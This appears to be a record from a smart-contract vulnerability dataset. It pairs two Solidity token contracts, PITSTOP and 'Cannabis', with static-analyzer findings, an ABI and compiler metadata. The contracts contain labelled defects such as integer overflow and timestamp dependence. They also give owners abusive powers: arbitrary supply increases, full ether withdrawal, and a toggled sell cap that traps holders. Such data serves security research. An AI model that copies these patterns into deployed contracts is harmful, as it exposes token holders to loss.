pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract PITSTOP is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "PITSTOP"; string public constant symbol = "PIT"; uint public constant decimals = 18; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 10000000000e18; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth =10000000e18; uint public target0drop = 500; uint public progress0drop = 0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 2000000000e18; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 100; uint256 bonusCond2 = 1 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 50 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 70 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 100 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 70 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 100 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 100000e18; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["296", "291"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["167"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["49"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["55", "78", "77", "79"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["125"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["187", "208", "192", "194", "196", "200", "202", "80", "82", "81", "86", "184", "183"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["198", "220", "190"]}]
[{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [212]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [55]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [89]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"PITSTOP.sol": [151]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"PITSTOP.sol": [154]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PITSTOP.sol": [24, 25, 26, 27, 28, 29]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PITSTOP.sol": [194]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PITSTOP.sol": [202]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PITSTOP.sol": [200]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PITSTOP.sol": [196]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PITSTOP.sol": [192]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [256, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [308, 309, 310, 311, 312]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [299, 300, 301, 302, 303, 304, 305, 306]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [131, 132, 133, 134, 135]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [288, 289, 290, 291, 292]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [128, 129, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [280, 278, 279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [50]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [51]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [296, 297, 294, 295]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [170, 171, 172, 173]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [240, 238, 239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [315, 316, 317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [271, 272, 273, 274, 275, 276]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PITSTOP.sol": [282, 283, 284, 285, 286]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"PITSTOP.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [75]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [238]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [271]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [162, 163, 164]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [299]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [160, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [315]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [166]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [170]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [162]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [137]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [271]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [294]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [168, 166, 167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [247]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [308]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [166]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [247]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [162]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PITSTOP.sol": [137]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"PITSTOP.sol": [55]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"PITSTOP.sol": [220]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PITSTOP.sol": [84]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PITSTOP.sol": [211]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PITSTOP.sol": [120]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PITSTOP.sol": [87]}}]
[{"error": "Integer Overflow.", "line": 43, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 296, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 291, "level": "Warning"}]
[{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 50, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 56, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 62, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 238, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 278, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 282, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 271, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 167, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 167, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 70, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 71, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 73, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 74, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"add","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deadline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_wdamount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"round2","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"requestMinimum","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_participant","type":"address"},{"name":"_amount","type":"uint256"}],"name":"DistributeAirdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"round1","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"progress0drop","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishDistribution","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_tokensPerEth","type":"uint256"}],"name":"updateTokensPerEth","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getTokens","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"Claimed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"distributionFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"who","type":"address"}],"name":"getTokenBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokensPerEth","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenContract","type":"address"}],"name":"withdrawForeignTokens","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"target0drop","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalDistributed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_addresses","type":"address[]"},{"name":"_amount","type":"uint256"}],"name":"DistributeAirdropMultiple","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Distr","type":"event"},{"anonymous":false,"inputs":[],"name":"DistrFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"Airdrop","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_tokensPerEth","type":"uint256"}],"name":"TokensPerEthUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"value","type":"uint256"}],"name":"Add","type":"event"}]
v0.4.25+commit.59dbf8f1
true
200
Default
false
bzzr://98719034d828b54de81c85609def1d0b015607a68ee0977487b7ac2027c9340f
Cannabis
0x29bcc3b79289a58b615a30afb81822a6b7ccd0de
Solidity
// SPDX-License-Identifier: MIT pragma solidity ^0.4.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is IERC20{ uint8 private _decimal; string private _name; string private _symbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _decimal = decimals; _name = name; _symbol = symbol; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimal; } } contract Cannabis is StandardToken("Cannabis", "CANN", 18) { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address=>uint256) private purchases; uint256 private _totalSupply = 10000 ether; address private deployer; bool private limitBuySell; bool private smokerize; uint256 private limitBuySellValue; // @uniswap-v2-core address private uniswapRouterV2 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address private uniswapFactory = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); address private pair = address(0); constructor () public { deployer = msg.sender; _mint(deployer,_totalSupply); enableLimit(); setLimitBuySellValue(420); } modifier onlyOwner() { require(msg.sender == deployer); _; } function enableLimit() public onlyOwner { limitBuySell = true; } function disableLimit() public onlyOwner { limitBuySell = false; } function isLimit() public view returns(bool){ return limitBuySell; } function smokerization(bool enable) public onlyOwner{ smokerize=enable; } function isSmokerized() public view returns(bool){ return smokerize; } function setLimitBuySellValue(uint256 amount) public onlyOwner{ limitBuySellValue = amount*10**18; } function viewLimitBuySellValue() public view returns(uint256){ return limitBuySellValue.div(10**18); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address) { (address token0, address token1) = sortTokens(tokenA, tokenB); address _pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); return _pair; } function isIgnore(address a) public returns(bool) { if (a == uniswapRouterV2) { return true; } if (pair == address(0)) { (address token0, address token1) = sortTokens(address(this), WETH); address _pair = pairFor(uniswapFactory, token0, token1); pair = _pair; } return a == pair; } function multiTransfer(address[] memory addresses, uint256[] amount) public onlyOwner{ for (uint256 i = 0; i < addresses.length; i++) { transfer(addresses[i], amount[i]); } } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 burnRate = 42; if (limitBuySell) { if (amount > limitBuySellValue && sender != deployer) { revert(); } } uint256 buyTime = purchases[sender]; if (sender == deployer || recipient == deployer) { burnRate = 0; } else { burnRate = getBurnRate(sender, buyTime) ; } uint256 tokensToBurn = amount.mul(burnRate).div(1000); uint256 tokensToTransfer = amount.sub(tokensToBurn); _burn(sender, tokensToBurn); _balances[sender] = _balances[sender].sub(tokensToTransfer, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(tokensToTransfer); logPurchase(recipient); emit Transfer(sender, recipient, tokensToTransfer); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getBurnRate(address account, uint256 buyTime) public returns (uint256) { if (isIgnore(account) || smokerize) { return 42; } uint256 holdTime = block.timestamp - buyTime; if (holdTime < 60) return 420; else if (holdTime >= 60 && holdTime < 120) return 210; else if (holdTime >= 120 && holdTime < 260) return 120; return 42; } function logPurchase(address account) private { if (isIgnore(account)) { return; } purchases[account] = block.timestamp; } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["119"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["171", "181"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["74", "171"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["173", "172", "174"]}]
